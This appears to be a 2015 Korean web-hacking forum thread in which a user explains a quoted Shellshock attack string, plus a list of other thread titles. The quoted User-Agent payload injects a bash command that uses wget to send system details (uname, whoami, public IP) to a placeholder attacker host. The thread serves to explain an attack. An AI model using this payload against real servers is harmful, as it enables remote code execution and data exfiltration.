214, 1/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2682     Date : 2015/06/28 03:28


    
214   CloudFlare 쓰는 사이트는 해킹하기 힘들까요?[4]     sogreat
 03/21 290
213   웹 sqlmap 중에[1]     europa8340
 07/26 2288
212   웹해킹 관련하여 질문드립니다[5]     solo20
 05/21 2389
211   POST METHOD     ewqqw
 03/13 2432
210   APMSETUP7을 설치하려고하는데..     0429njy
 07/22 2449
209   웹해킹 입문 책추천해주세요     kjwp1
 02/24 2537
208   417 error     wiwiwi79
 08/15 2550
207   Post Method[2]     ewqqw
 03/16 2569
206   PHP에서 이메일 전송할때 가로챌 수 있나요?[9]     drrobot333
 11/16 2624
205   False Injection에 관한 질문입니다.[3]     dudtntdud
 01/18 2666
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2681
203   홈페이지 디도스 원리?[1]     tbxmaos
 02/12 2689
202   해킹맛보기(서적) 아파치프로그램 질문입니다[1]     커세어
 09/29 2694
201   궁금해서 질문합니다~[2]     ju3622
 01/09 2699
200   cookie 관련[1]     ewqqw
 03/23 2719
199   Webhacking.kr 문제를 풀다가..     alstnsms67
 08/02 2732
198   get method 에 관한 질문[1]     ewqqw
 03/13 2790
197   웹 해킹 질문입니다.     dsgoidsog
 11/26 2799
196   질문입니다.     jsw2604
 12/27 2805
195   sql injection 공격 오류반환질문이요.[4]     yayaja11
 03/21 2826
1 [2][3][4][5][6][7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org